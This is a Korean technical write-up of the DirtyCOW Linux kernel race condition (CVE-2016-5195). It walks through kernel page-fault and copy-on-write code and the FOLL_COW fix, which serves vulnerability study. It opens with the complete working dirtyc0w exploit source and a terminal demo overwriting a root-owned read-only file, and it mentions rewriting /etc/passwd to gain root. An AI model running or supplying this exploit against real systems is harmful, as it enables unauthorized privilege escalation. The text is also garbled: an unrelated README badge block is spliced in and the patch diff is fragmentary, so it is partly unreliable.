
DirtyCOW 노트
void *map; int f; struct stat st; char *name;
void *madviseThread(void *arg) { char str; str = (char)arg; int i, c = 0; for(i = 0; i < 100000000; i++) { c += madvise(map, 100, MADV_DONTNEED); } printf("madvise %d\n\n", c); }
void *procselfmemThread(void *arg) { char str; str = (char)arg;
int f = open("/proc/self/mem", O_RDWR); int i, c = 0; for(i = 0; i < 100000000; i++) { lseek(f, (uintptr_t)map, SEEK_SET); c += write(f, str, strlen(str)); } printf("procselfmem %d\n\n", c); }
int main(int argc, char *argv[]) { if (argc < 3) { (void)fprintf(stderr, "%s\n", "usage: dirtyc0w target_file new_content"); return 1; } pthread_t pth1, pth2;
f = open(argv[1], O_RDONLY); fstat(f, &st); name = argv[1];
map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0); printf("mmap %zx\n\n", (uintptr_t)map);
pthread_create(&pth1, NULL, madviseThread, argv[1]); pthread_create(&pth2, NULL, procselfmemThread, argv[2]);
pthread_join(pth1, NULL); pthread_join(pth2, NULL); return 0; }
[中文](https://github.com/asuka39/cve-2016-5195/blob/HEAD/README.md)・[English](https://github.com/asuka39/cve-2016-5195/blob/HEAD/README_EN.md) ・[日本語](https://github.com/asuka39/cve-2016-5195/blob/HEAD/README_JA.md) ・[Español](https://github.com/asuka39/cve-2016-5195/blob/HEAD/README_ES.md) ・[Português](https://github.com/asuka39/cve-2016-5195/blob/HEAD/README_PT.md) ・[Français](https://github.com/asuka39/cve-2016-5195/blob/HEAD/README_FR.md) ・[Deutsch](https://github.com/asuka39/cve-2016-5195/blob/HEAD/README_DE.md) ・[Русский](https://github.com/asuka39/cve-2016-5195/blob/HEAD/README_RU.md)

<p align="center">
<a href="https://github.com/nicepkg/hotkey-booster"><img src="https://img.shields.io/github/stars/nicepkg/hotkey-booster?style=social" alt="GitHub stars"></a>
<a href="https://github.com/nicepkg/hotkey-booster"><img src="https://img.shields.io/github/forks/nicepkg/hotkey-booster?style=social" alt="GitHub forks"></a>
<a href="https://github.com/nicepkg/hotkey-booster"><img src="https://img.shields.io/github/license/nicepkg/hotkey-booster" alt="License"></a>
</p>
<h4 align="center">어떤 웹 페이지에도 한 번의 클릭으로 단축키 프롬프트 추가</h4>```
$ sudo su
# echo "READ ONLY" > flag.txt
# chmod 0404 flag.txt
# exit
$
$ ll flag.txt
-r-----r-- 1 root root 10 flag.txt
$ echo "aaaaaa" > flag.txt
Permission Denied
$
$ gcc -pthread dirty.c -o dirty
$ ./dirty flag.txt aaaaaa
mmap 7f1a35bc4000
procselfmem -2094967296
madvise 0
$ cat flag.txt
aaaaaa
비교적 흔한 이용 수법은 권한을 초과하여 /etc/passwd를 작성하여 root 사용자를 수정하거나 사용자 권한을 수정하여 권한 상승을 하는 것입니다.
먼저 exp가 무엇을 하는지 살펴보겠습니다.```c int main(int argc, char *argv[]) { if (argc < 3) { (void)fprintf(stderr, "%s\n","usage: dirtyc0w target_file new_content"); return 1; }
pthread_t pth1, pth2; f = open(argv[1], O_RDONLY); fstat(f, &st); name = argv[1];
map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0); printf("mmap %zx\n\n", (uintptr_t)map);
pthread_create(&pth1, NULL, madviseThread, argv[1]); pthread_create(&pth2, NULL, procselfmemThread, argv[2]);
pthread_join(pth1, NULL); pthread_join(pth2, NULL); return 0; }
- 먼저 pthread를 호출하여 두 개의 스레드를 생성합니다
- 그런 다음 `fopen`으로 읽기 전용 대상 파일 `argv[1]`을 엽니다
- 파일을 `mmap`으로 메모리에 매핑합니다(주소는 무작위). `MAP_PRIVATE`의 역할은 Task 전용 메모리 매핑을 생성하는 것입니다. 다른 Task가 이 메모리에 쓰기를 시도하면, 해당 프로세스는 쓰기 전에 먼저 복사본을 만든 후에 쓰기를 수행합니다. 이를 통해 자식 프로세스나 스레드를 생성할 때 전체 메모리 공간을 복사하는 데 많은 시간과 공간을 소비하지 않으면서도 Task 간의 동시 메모리 작업이 서로 영향을 미치지 않도록 보장할 수 있습니다. 이것이 Copy-On-Write입니다.
- 이어서 두 개의 스레드를 시작합니다. 하나는 `madviseThread`를 실행하고, 다른 하나는 `procselfmemThread`를 실행합니다.
그런 다음 두 스레드의 실행 본문을 살펴봅니다.
- 한 스레드는 파일 매핑에 대해 `madvise`를 호출하여 커널에 매핑된 메모리 또는 공유 메모리의 사용 상황을 알립니다. `MADV_DONTNEED`는 앞으로 이 메모리 영역을 더 이상 사용하지 않음을 나타내며, 커널은 이를 해제할 수 있습니다.
- 다른 스레드는 읽기-쓰기 권한으로 `/proc/self/mem`을 엽니다. 이 파일은 프로세스 자체의 가상 메모리에 대한 파일 매핑입니다. 그런 다음 계속해서 파일에 대상 정보를 쓰려고 시도합니다.```c
void *madviseThread(void *arg) {
char *str;
str = (char*)arg;
int i, c = 0;
for(i = 0; i < 100000000; i++) {
c += madvise(map, 100, MADV_DONTNEED);
}
printf("madvise %d\n\n", c);
}
void *procselfmemThread(void *arg) {
char *str;
str = (char*)arg;
int f = open("/proc/self/mem", O_RDWR);
int i, c = 0;
for(i = 0; i < 100000000; i++) {
lseek(f, (uintptr_t)map, SEEK_SET);
c += write(f, str, strlen(str));
}
printf("procselfmem %d\n\n", c);
}
최종적으로, 두 스레드의 연속적인 공격으로 인해 커널에 경쟁 취약점이 발생하여 procselfmemThread가 읽기 전용 파일에 성공적으로 썼습니다.
mmap은 vma에 메모리 매핑만 설정할 뿐, 실제로 매핑된 파일을 물리적 페이지 프레임에 넣지는 않습니다. 따라서 처음으로 write로 파일에 쓰려고 하면 반드시 페이지 폴트 예외가 발생합니다.write부터 분석을 시작합니다. 파일에 대한 모든 작업은 해당 파일이 속한 파일 시스템이 VFS에 등록한 가상 테이블 file_operations를 거쳐야 합니다. /proc의 파일은 procfs에 의해 구현되며, proc_mem_operations를 찾으면 write가 mem_write에 바인딩되어 있음을 알 수 있습니다.```c
static const struct file_operations proc_mem_operations = {
.llseek = mem_lseek,
.read = mem_read,
.write = mem_write,
.open = mem_open,
.release = mem_release,
};
`mem_write`는 `mem_rw`의 래퍼(write 플래그가 1로 설정됨)입니다. `mem_rw`의 주요 흐름은 다음과 같습니다.
- 먼저 `__get_free_page`를 통해 임시 빈 페이지를 할당하여 버퍼로 사용합니다.
- 쓰기 작업의 경우 `copy_from_user`를 호출하여 쓸 데이터를 임시 페이지에 복사합니다.
- 그런 다음 `access_remote_vm`을 사용하여 대상 데이터를 빈 페이지로 읽거나(읽기) 버퍼의 내용을 대상 주소에 씁니다(쓰기).
- 소위 remote는 본 프로세스가 다른 프로세스의 메모리 매핑 파일을 읽거나 쓸 수 있기 때문이며, 이는 프로세스가 다른 프로세스의 주소 공간에 접근할 수 있음을 의미합니다. 이 점이 다른 memory filesystem과 다릅니다.
- 읽기 작업의 경우 이전 단계에서 빈 페이지로 읽은 데이터를 사용자 버퍼에 다시 씁니다.```c
static ssize_t mem_rw(struct file *file, char __user *buf,
size_t count, loff_t *ppos, int write)
{
struct mm_struct *mm = file->private_data;
unsigned long addr = *ppos;
ssize_t copied;
char *page;
if (!mm)
return 0;
page = (char *)__get_free_page(GFP_TEMPORARY); // 申请临时空闲页面
if (!page)
return -ENOMEM;
copied = 0;
if (!atomic_inc_not_zero(&mm->mm_users))
goto free;
while (count > 0) {
int this_len = min_t(int, count, PAGE_SIZE); // 本次读取/写入数据长度,单次最大为PAGE_SIZE
if (write && copy_from_user(page, buf, this_len)) { // 若是写操作,从用户空间拷贝待写数据到临时空闲页面
copied = -EFAULT;
break;
}
this_len = access_remote_vm(mm, addr, page, this_len, write); // 读取/写入数据到临时空闲页面
if (!this_len) {
if (!copied)
copied = -EIO;
break;
}
if (!write && copy_to_user(buf, page, this_len)) { // 若是读操作,将读取到的数据从临时空闲页面拷贝数据到用户空间
copied = -EFAULT;
break;
}
buf += this_len;
addr += this_len;
copied += this_len;
count -= this_len;
}
*ppos = addr;
mmput(mm);
free:
free_page((unsigned long) page); // 释放临时空闲页面
return copied;
}
access_remote_vm은 __access_remote_vm의 래퍼(wrapper)이며, 주요 흐름은 다음과 같습니다.
get_user_pages는 주소 대상 addr이 위치한 page struct를 가져옵니다.
성공적으로 가져오면 kmap을 호출하여 page를 커널의 high memory에 매핑합니다(page는 물리 페이지를 참조).
메모리 접근이 쓰기 작업이면 데이터를 작성한 후 더티 비트(dirty bit)를 설정하고, 읽기 작업이면 데이터를 읽어오면 됩니다.```c static int __access_remote_vm(struct task_struct *tsk, struct mm_struct *mm, unsigned long addr, void *buf, int len, int write) { struct vm_area_struct *vma; void *old_buf = buf;
down_read(&mm->mmap_sem); /* ignore errors, just check how much was successfully transferred */ while (len) { int bytes, ret, offset; void *maddr; struct page *page = NULL;
ret = get_user_pages(tsk, mm, addr, 1, // 获取addr对应的page
write, 1, &page, &vma);
if (ret <= 0) { // 获取失败
#ifndef CONFIG_HAVE_IOREMAP_PROT break; #else /* * Check if this is a VM_IO | VM_PFNMAP VMA, which * we can access using slightly different code. */ vma = find_vma(mm, addr); if (!vma || vma->vm_start > addr) break; if (vma->vm_ops && vma->vm_ops->access) ret = vma->vm_ops->access(vma, addr, buf, len, write); if (ret <= 0) break; bytes = ret; #endif } else { // 获取成功 bytes = len; offset = addr & (PAGE_SIZE-1); if (bytes > PAGE_SIZE-offset) bytes = PAGE_SIZE-offset;
maddr = kmap(page); // 映射page到内核空间,因为我们获取的是page结构体,需要映射到一个虚拟地址之后才能进行写入
if (write) { // 如果是写操作
copy_to_user_page(vma, page, addr, // 将buf的数据拷贝到page中,完成写入
maddr + offset, buf, bytes);
set_page_dirty_lock(page); // 设置页面为脏页
} else { // 如果是读操作
copy_from_user_page(vma, page, addr,
buf, maddr + offset, bytes);
}
kunmap(page);
page_cache_release(page);
}
len -= bytes;
buf += bytes;
addr += bytes;
}
up_read(&mm->mmap_sem);
return buf - old_buf;
}
##### __get_user_pages
이상으로 procfs 읽기/쓰기 작업의 개요입니다. 이제 `get_user_pages`부터 살펴보겠습니다.
`get_user_pages`는 `__get_user_pages_locked`의 래퍼이며, 후자는 `__get_user_pages`를 호출하는 것이 논리적 주체입니다. 그 흐름은 다음과 같습니다.
- 먼저 조작할 페이지를 순회하며 몇 가지 사전 준비를 합니다. 여기에는 각 페이지의 권한 비트맵인 `foll_flags` 설정이 포함됩니다.
- 첫 번째 반복이거나 시작 주소가 현재 vma 기본 주소보다 큰 경우, `find_extend_vma`가 시작 주소가 속한 vma를 가져옵니다.
- 프로세스가 치명적인 신호를 받지 않았거나 차단하지 않은 경우, `follow_page_mask`가 가상 주소에 해당하는 물리 페이지의 page struct를 가져옵니다.
- 일반적으로 페이지는 메모리에 존재하지 않습니다. 즉, 처음 페이지에 접근하면 페이지 폴트가 발생합니다.
- 또한 해당 페이지에 대한 조작 권한이 없으면 예외가 발생합니다.
- 그 외에도 OOM, 하드웨어 오류 등 다른 원인이 있지만 여기서는 다루지 않습니다.
- 페이지를 성공적으로 가져오지 못했고 오류가 아닌 경우(0 반환), `faultin_page`를 호출하여 페이지 폴트 예외를 처리합니다. 처리가 성공하면 `follow_page_mask`로 돌아가 페이지 가져오기를 재시도합니다.```c
long __get_user_pages(struct task_struct *tsk, struct mm_struct *mm,
unsigned long start, unsigned long nr_pages,
unsigned int gup_flags, struct page **pages,
struct vm_area_struct **vmas, int *nonblocking)
{
long i = 0;
unsigned int page_mask;
struct vm_area_struct *vma = NULL;
if (!nr_pages)
return 0;
VM_BUG_ON(!!pages != !!(gup_flags & FOLL_GET));
/*
* If FOLL_FORCE is set then do not force a full fault as the hinting
* fault information is unrelated to the reference behaviour of a task
* using the address space
*/
if (!(gup_flags & FOLL_FORCE))
gup_flags |= FOLL_NUMA;
do {
struct page *page;
unsigned int foll_flags = gup_flags;
unsigned int page_increm;
/* first iteration or cross vma bound */
if (!vma || start >= vma->vm_end) { // 若vma为空(第一次迭代)或者start超出vma的范围
vma = find_extend_vma(mm, start); // 查找start所在的vma
if (!vma && in_gate_area(mm, start)) {
int ret;
ret = get_gate_page(mm, start & PAGE_MASK,
gup_flags, &vma,
pages ? &pages[i] : NULL);
if (ret)
return i ? : ret;
page_mask = 0;
goto next_page;
}
if (!vma || check_vma_flags(vma, gup_flags))
return i ? : -EFAULT;
if (is_vm_hugetlb_page(vma)) {
i = follow_hugetlb_page(mm, vma, pages, vmas,
&start, &nr_pages, i,
gup_flags);
continue;
}
}
retry:
/*
* If we have a pending SIGKILL, don't keep faulting pages and
* potentially allocating memory.
*/
if (unlikely(fatal_signal_pending(current)))
return i ? i : -ERESTARTSYS;
cond_resched();
page = follow_page_mask(vma, start, foll_flags, &page_mask); // 获取虚拟地址对应的物理页的page struct
if (!page) { // 获取失败,可能是没有对应页,也可能是没有相应操作权限
int ret;
ret = faultin_page(tsk, vma, start, &foll_flags, // 处理缺页异常,COW机制建映射得到一个新的可写的anon page
nonblocking); // 若没有写权限其会取消掉foll_flags中的写标志并返回0
switch (ret) {
case 0: // 缺页异常处理成功,重新尝试获取page
goto retry;
case -EFAULT:
case -ENOMEM:
case -EHWPOISON:
return i ? i : ret;
case -EBUSY:
return i;
case -ENOENT:
goto next_page;
}
BUG();
} else if (PTR_ERR(page) == -EEXIST) {
/*
* Proper page table entry exists, but no corresponding
* struct page.
*/
goto next_page;
} else if (IS_ERR(page)) {
return i ? i : PTR_ERR(page);
}
if (pages) {
pages[i] = page;
flush_anon_page(vma, page, start);
flush_dcache_page(page);
page_mask = 0;
}
next_page:
if (vmas) {
vmas[i] = vma;
page_mask = 0;
}
page_increm = 1 + (~(start >> PAGE_SHIFT) & page_mask);
if (page_increm > nr_pages)
page_increm = nr_pages;
i += page_increm;
start += page_increm * PAGE_SIZE;
nr_pages -= page_increm;
} while (nr_pages); // 直到所有的页都处理完毕
return i;
}
EXPORT_SYMBOL(__get_user_pages);
follow_page_mask는 주소를 단계별로 분석하여 해당 pte를 찾고, follow_page_pte를 호출하여 page struct를 얻으려고 시도합니다. 로직은 비교적 간단합니다. 일련의 검사를 통과하면 page struct를 반환하고, 주소 매핑을 찾을 수 없거나 쓰기 권한이 없으면 NULL을 반환합니다.```c
static struct page *follow_page_pte(struct vm_area_struct *vma,
unsigned long address, pmd_t *pmd, unsigned int flags)
{
struct mm_struct *mm = vma->vm_mm;
struct page *page;
spinlock_t *ptl;
pte_t *ptep, pte;
retry: if (unlikely(pmd_bad(*pmd))) return no_page_table(vma, flags);
ptep = pte_offset_map_lock(mm, pmd, address, &ptl);
pte = *ptep;
if (!pte_present(pte)) {
swp_entry_t entry;
/*
* KSM's break_ksm() relies upon recognizing a ksm page
* even while it is being migrated, so for that case we
* need migration_entry_wait().
*/
if (likely(!(flags & FOLL_MIGRATION)))
goto no_page;
if (pte_none(pte))
goto no_page;
entry = pte_to_swp_entry(pte);
if (!is_migration_entry(entry))
goto no_page;
pte_unmap_unlock(ptep, ptl);
migration_entry_wait(mm, pmd, address);
goto retry;
}
if ((flags & FOLL_NUMA) && pte_protnone(pte))
goto no_page;
if ((flags & FOLL_WRITE) && !pte_write(pte)) { // 欲执行写操作,但是没有写权限
pte_unmap_unlock(ptep, ptl);
return NULL;
}
page = vm_normal_page(vma, address, pte); // 获取page struct
if (unlikely(!page)) {
if (flags & FOLL_DUMP) {
/* Avoid special (like zero) pages in core dumps */
page = ERR_PTR(-EFAULT);
goto out;
}
if (is_zero_pfn(pte_pfn(pte))) {
page = pte_page(pte);
} else {
int ret;
ret = follow_pfn_pte(vma, address, ptep, flags);
page = ERR_PTR(ret);
goto out;
}
}
if (flags & FOLL_GET)
get_page_foll(page);
if (flags & FOLL_TOUCH) {
if ((flags & FOLL_WRITE) &&
!pte_dirty(pte) && !PageDirty(page))
set_page_dirty(page);
/*
* pte_mkyoung() would be more correct here, but atomic care
* is needed to avoid losing the dirty bit: it is easier to use
* mark_page_accessed().
*/
mark_page_accessed(page);
}
if ((flags & FOLL_MLOCK) && (vma->vm_flags & VM_LOCKED)) {
/*
* The preliminary mapping check is mainly to avoid the
* pointless overhead of lock_page on the ZERO_PAGE
* which might bounce very badly if there is contention.
*
* If the page is already locked, we don't need to
* handle it now - vmscan will handle it later if and
* when it attempts to reclaim the page.
*/
if (page->mapping && trylock_page(page)) {
lru_add_drain(); /* push cached pages to LRU */
/*
* Because we lock page here, and migration is
* blocked by the pte's page reference, and we
* know the page is still mapped, we don't even
* need to check for file-cache page truncation.
*/
mlock_vma_page(page);
unlock_page(page);
}
}
out: pte_unmap_unlock(ptep, ptl); return page; no_page: pte_unmap_unlock(ptep, ptl); if (!pte_none(pte)) return NULL; return no_page_table(vma, flags); }
##### faultin_page
비슷하게, 플래그를 설정한 후 `handle_mm_fault`를 호출하여 본격적으로 페이지 폴트 예외 처리 절차에 들어갑니다. 이에 대한 자세한 내용은 나중에 다루겠습니다.```c
static int faultin_page(struct task_struct *tsk, struct vm_area_struct *vma,
unsigned long address, unsigned int *flags, int *nonblocking)
{
struct mm_struct *mm = vma->vm_mm;
unsigned int fault_flags = 0;
int ret;
/* mlock all present pages, but do not fault in new pages */
if ((*flags & (FOLL_POPULATE | FOLL_MLOCK)) == FOLL_MLOCK)
return -ENOENT;
/* For mm_populate(), just skip the stack guard page. */
if ((*flags & FOLL_POPULATE) &&
(stack_guard_page_start(vma, address) ||
stack_guard_page_end(vma, address + PAGE_SIZE)))
return -ENOENT;
if (*flags & FOLL_WRITE) // 欲执行写操作
fault_flags |= FAULT_FLAG_WRITE;
if (nonblocking)
fault_flags |= FAULT_FLAG_ALLOW_RETRY;
if (*flags & FOLL_NOWAIT)
fault_flags |= FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_RETRY_NOWAIT;
if (*flags & FOLL_TRIED) {
VM_WARN_ON_ONCE(fault_flags & FAULT_FLAG_ALLOW_RETRY);
fault_flags |= FAULT_FLAG_TRIED;
}
ret = handle_mm_fault(mm, vma, address, fault_flags); // 处理缺页异常
if (ret & VM_FAULT_ERROR) {
if (ret & VM_FAULT_OOM)
return -ENOMEM;
if (ret & (VM_FAULT_HWPOISON | VM_FAULT_HWPOISON_LARGE))
return *flags & FOLL_HWPOISON ? -EHWPOISON : -EFAULT;
if (ret & (VM_FAULT_SIGBUS | VM_FAULT_SIGSEGV))
return -EFAULT;
BUG();
}
if (tsk) {
if (ret & VM_FAULT_MAJOR)
tsk->maj_flt++;
else
tsk->min_flt++;
}
if (ret & VM_FAULT_RETRY) {
if (nonblocking)
*nonblocking = 0;
return -EBUSY;
}
/*
* The VM_FAULT_WRITE bit tells us that do_wp_page has broken COW when
* necessary, even if maybe_mkwrite decided not to set pte_write. We
* can thus safely do subsequent page lookups as if they were reads.
* But only do so when looping for pte_write is futile: in some cases
* userspace may also be wanting to write to the gotten user page,
* which a read fault here might prevent (a readonly page might get
* reCOWed by userspace write).
*/
if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE)) // 若vma不可写,但是缺页异常处理成功,且需要写操作
*flags &= ~FOLL_WRITE; // 清除写操作标志,否则会在__get_user_pages中返回不断retry
return 0;
}
__get_user_pages의 retry 레이블에 표시된 재시도 메커니즘은 사실상 메모리 접근 시 페이지 폴트 예외의 대략적인 처리 흐름입니다. 이 문서의 시나리오를 예로 들면, 여기서의 작업은 원자적이지 않습니다.
mmap으로 파일이 매핑된 주소에 접근합니다. mmap은 페이지를 메모리로 읽어들이지 않기 때문에 follow_page_mask가 페이지를 가져오지 못해 첫 번째 페이지 폴트 예외가 발생합니다.faultin_page가 페이지를 메모리로 읽어들이고 매핑을 설정한 후 반환되고 retry합니다.follow_page_mask가 두 번째로 페이지를 가져오는데, 가져오는 작업에 쓰기 페이지가 포함되어 있지만 대상 페이지가 읽기 전용이므로 실패하여 두 번째 페이지 폴트 예외가 발생합니다.faultin_page가 COW 메커니즘에 따라 익명 페이지를 복사하고 매핑을 재설정하며 FOLL_WRITE 플래그를 제거하여 무한 retry를 방지한 후 최종적으로 retry를 반환합니다.follow_page_mask가 세 번째로 페이지를 가져옵니다. 이번에는 쓰기 플래그가 제거되었으므로 읽기 전용 권한으로 COW 복사된 익명 페이지를 성공적으로 가져와 예외를 발생시키지 않습니다.kmap으로 돌아가 프로세스가 쓰기를 완료합니다 (그러나 변경 사항은 파일에 동기화되지 않습니다).여기까지 오면 취약점 지점이 꽤 명확해집니다. 세 번의 페이지 폴트 처리의 retry 부분은 원자적이어야 하며, 적어도 pte에 락을 걸어야 하지만, 실제로는 어떤 이유에서인지 보호되지 않아 이 실행 흐름이 쉽게 깨질 수 있습니다. DirtyCOW는 위의 흐름을 완료하는 동시에 지속적으로 madvice를 호출하여 커널이 pte를 비우고 대상 페이지의 매핑을 해제하도록 유도하여 결국 다음 실행 흐름을 초래합니다.
mmap으로 파일이 매핑된 주소에 접근합니다. mmap은 페이지를 메모리로 읽어들이지 않기 때문에 follow_page_mask가 페이지를 가져오지 못해 첫 번째 페이지 폴트 예외가 발생합니다.faultin_page가 페이지를 메모리로 읽어들이고 매핑을 설정한 후 반환되고 retry합니다.follow_page_mask가 두 번째로 페이지를 가져오는데, 가져오는 작업에 쓰기 페이지가 포함되어 있지만 대상 페이지가 읽기 전용이므로 실패하여 두 번째 페이지 폴트 예외가 발생합니다.faultin_page가 COW 메커니즘에 따라 익명 페이지를 복사하고 매핑을 재설정하며 FOLL_WRITE 플래그를 제거하여 무한 retry를 방지한 후 최종적으로 retry를 반환합니다.madvice의 권고에 따라 가상 주소가 있는 pte를 비워 가상 주소 매핑을 해제합니다 (동일 프로세스의 스레드 간에 동일한 페이지 테이블 공유).follow_page_mask가 세 번째로 페이지를 가져옵니다. 이번에는 쓰기 플래그가 제거되었으므로 읽기 전용 권한으로 시도하지만 페이지 매핑이 해제되어 다시 페이지 폴트 예외가 발생합니다.faultin_page가 정상적인 경우처럼 COW 복사를 통해 익명 페이지를 만드는 대신 대상 페이지를 메모리로 읽어들이고 매핑을 성공적으로 설정한 후 retry를 반환합니다.follow_page_mask가 네 번째로 페이지를 가져옵니다. 이번에는 대상 페이지를 성공적으로 가져와 예외를 발생시키지 않습니다.남은 한 가지 의문점은 페이지를 얻더라도 원래 vma는 여전히 읽기 전용이므로 결국 쓰기를 완료할 수 없다는 점입니다. 이 문제의 근본적인 해결 방법은 kmap이 메모리를 커널의 high memory에 매핑하는 것으로 보입니다. 즉, 사용자 모드 vma가 매핑한 pte가 읽기 전용이더라도 커널 모드의 high memory가 매핑한 pte는 쓰기 권한을 가지므로, 이를 통해 권한 상승 쓰기를 성공적으로 완료할 수 있습니다. 이는 mem_write에 특화된 특징입니다.
마지막으로 Linus의 패치를 살펴보겠습니다. 성능을 고려하여 취약점 지점에 락을 거는 대신 FOLL_COW 플래그를 새로 설정하여 COW를 특별히 처리했습니다.
typedef int (*pte_fn_t)(pte_t *pte, pgtable_t token, unsigned long addr, void *data); diff --git a/mm/gup.c b/mm/gup.c index 96b2b2fd0fbd13..22cc22e7432f60 100644 --- a/mm/gup.c +++ b/mm/gup.c @@ -60,6 +60,16 @@ static int follow_pfn_pte(struct vm_area_struct *vma, unsigned long address, return -EEXIST; }
+/*
((flags & FOLL_FORCE) && (flags & FOLL_COW) && pte_dirty(pte));
+} + static struct page *follow_page_pte(struct vm_area_struct *vma, unsigned long address, pmd_t *pmd, unsigned int flags) { @@ -95,7 +105,7 @@ retry: } if ((flags & FOLL_NUMA) && pte_protnone(pte)) goto no_page;
*flags &= ~FOLL_WRITE;
*flags |= FOLL_COW;
#### Dive into Page Fault
##### handle_mm_fault
앞서 우리는 `faultin_page`에서 멈췄습니다. 이제 `handle_mm_fault`부터 계속深入합니다.```c
int handle_mm_fault(struct mm_struct *mm, struct vm_area_struct *vma,
unsigned long address, unsigned int flags)
{
int ret;
__set_current_state(TASK_RUNNING); // 在处理完缺页异常后进程需要继续运行,保持TASK_RUNNING状态
count_vm_event(PGFAULT);
mem_cgroup_count_vm_event(mm, PGFAULT);
/* do counter updates before entering really critical section. */
check_sync_rss_stat(current);
/*
* Enable the memcg OOM handling for faults triggered in user
* space. Kernel faults are handled more gracefully.
*/
if (flags & FAULT_FLAG_USER)
mem_cgroup_oom_enable(); // 使能内存控制组的OOM处理
ret = __handle_mm_fault(mm, vma, address, flags); // handle的真正入口
if (flags & FAULT_FLAG_USER) { // 如果是用户态的缺页异常
mem_cgroup_oom_disable(); // 禁用内存控制组的OOM处理
/*
* The task may have entered a memcg OOM situation but
* if the allocation error was handled gracefully (no
* VM_FAULT_OOM), there is no need to kill anything.
* Just clean up the OOM state peacefully.
*/
if (task_in_memcg_oom(current) && !(ret & VM_FAULT_OOM)) // 如果进程处于内存控制组的OOM状态,但没有OOM错误
mem_cgroup_oom_synchronize(false); // 清理OOM状态即可
}
return ret;
}
EXPORT_SYMBOL_GPL(handle_mm_fault);
wrap된 __handle_mm_fault를 다시 살펴보면, 실제로는 대상이 있는 pte를 분석한 후 handle_pte_fault를 호출하여 처리합니다.```c
static int __handle_mm_fault(struct mm_struct *mm, struct vm_area_struct *vma,
unsigned long address, unsigned int flags)
{
pgd_t *pgd; // 页全局目录指针
pud_t *pud; // 页上级目录指针
pmd_t *pmd; // 页中间目录指针
pte_t *pte; // 页表项指针
if (unlikely(is_vm_hugetlb_page(vma))) // hugepage
return hugetlb_fault(mm, vma, address, flags);
pgd = pgd_offset(mm, address); // (mm)->pgd + (address)>>PGDIR_SHIFT
pud = pud_alloc(mm, pgd, address); // 获取pud指针
if (!pud)
return VM_FAULT_OOM; // out of memory
pmd = pmd_alloc(mm, pud, address); // 获取pmd指针
if (!pmd)
return VM_FAULT_OOM;
if (pmd_none(*pmd) && transparent_hugepage_enabled(vma)) { // 透明大页
int ret = create_huge_pmd(mm, vma, address, pmd, flags);
if (!(ret & VM_FAULT_FALLBACK))
return ret;
} else {
pmd_t orig_pmd = *pmd;
int ret;
barrier(); // 内存屏障,确保orig_pmd的读取顺序不会被编译器优化,保证读取的是最新的pmd值
if (pmd_trans_huge(orig_pmd)) { // 透明大页
unsigned int dirty = flags & FAULT_FLAG_WRITE;
/*
* If the pmd is splitting, return and retry the
* the fault. Alternative: wait until the split
* is done, and goto retry.
*/
if (pmd_trans_splitting(orig_pmd))
return 0;
if (pmd_protnone(orig_pmd))
return do_huge_pmd_numa_page(mm, vma, address,
orig_pmd, pmd);
if (dirty && !pmd_write(orig_pmd)) {
ret = wp_huge_pmd(mm, vma, address, pmd,
orig_pmd, flags);
if (!(ret & VM_FAULT_FALLBACK))
return ret;
} else {
huge_pmd_set_accessed(mm, vma, address, pmd,
orig_pmd, dirty);
return 0;
}
}
}
/*
* Use __pte_alloc instead of pte_alloc_map, because we can't
* run pte_offset_map on the pmd, if an huge pmd could
* materialize from under us from a different thread.
*/
if (unlikely(pmd_none(*pmd)) &&
unlikely(__pte_alloc(mm, vma, pmd, address)))
return VM_FAULT_OOM;
/*
* If a huge pmd materialized under us just retry later. Use
* pmd_trans_unstable() instead of pmd_trans_huge() to ensure the pmd
* didn't become pmd_trans_huge under us and then back to pmd_none, as
* a result of MADV_DONTNEED running immediately after a huge pmd fault
* in a different thread of this mm, in turn leading to a misleading
* pmd_trans_huge() retval. All we have to ensure is that it is a
* regular pmd that we can walk with pte_offset_map() and we can do that
* through an atomic read in C, which is what pmd_trans_unstable()
* provides.
*/
if (unlikely(pmd_trans_unstable(pmd)))
return 0;
/*
* A regular pmd is established and it can't morph into a huge pmd
* from under us anymore at this point because we hold the mmap_sem
* read mode and khugepaged takes it in write mode. So now it's
* safe to run pte_offset_map().
*/
pte = pte_offset_map(pmd, address); // 获取pte指针,这也是这个wrap的最终的目标
return handle_pte_fault(mm, vma, address, pte, pmd, flags); // 进入page fault处理
}
##### handle_pte_fault
`handle_pte_fault` 흐름은 다음과 같으며, 핵심 함수는 `do_fault`와 `do_wp_page`입니다.
- 먼저 pte가 비어 있는지 확인합니다. 비어 있으면 프로세스가 해당 페이지에 처음 접근하는 것입니다.
- 접근하는 페이지가 익명 페이지면 `do_anonymous_page`를 호출합니다.
- 접근하는 페이지가 비익명 페이지면 `do_fault`를 호출합니다.
- 이 작업을 완료하면 바로 반환합니다.
- 메모리에 있는 경우(이전에 페이지에 접근한 적이 있음을 의미), 몇 가지 검사를 수행한 후 page fault가 쓰기 연산에 의해 발생했다면
- 쓰기 권한이 없으면 `do_wp_page`를 호출합니다.
- 쓰기 권한이 있으면 pte에 더티 비트를 설정합니다.```c
static int handle_pte_fault(struct mm_struct *mm,
struct vm_area_struct *vma, unsigned long address,
pte_t *pte, pmd_t *pmd, unsigned int flags)
{
pte_t entry;
spinlock_t *ptl; // 页表自旋锁
/*
* some architectures can have larger ptes than wordsize,
* e.g.ppc44x-defconfig has CONFIG_PTE_64BIT=y and CONFIG_32BIT=y,
* so READ_ONCE or ACCESS_ONCE cannot guarantee atomic accesses.
* The code below just needs a consistent view for the ifs and
* we later double check anyway with the ptl lock held. So here
* a barrier will do.
*/
entry = *pte;
barrier();
if (!pte_present(entry)) { // 页表项不在内存中(page fault第一次)
if (pte_none(entry)) { // 页表项为空,进程第一次访问该页面
if (vma_is_anonymous(vma)) // 没有设置vma->vm_ops,即为匿名页面(即不是文件映射)
return do_anonymous_page(mm, vma, address,
pte, pmd, flags);
else
return do_fault(mm, vma, address, pte, pmd, // 若为文件映射页面
flags, entry);
}
return do_swap_page(mm, vma, address, // 页表项不为空,将页面swap进内存
pte, pmd, flags, entry);
}
if (pte_protnone(entry)) // 页表项为保护页
return do_numa_page(mm, vma, address, entry, pte, pmd); // NUMA
ptl = pte_lockptr(mm, pmd); // 页表自旋锁,此时页面已经在内存中
spin_lock(ptl);
if (unlikely(!pte_same(*pte, entry))) // 并发检查
goto unlock;
if (flags & FAULT_FLAG_WRITE) { // page fault是由写操作引发
if (!pte_write(entry)) // 页不可写
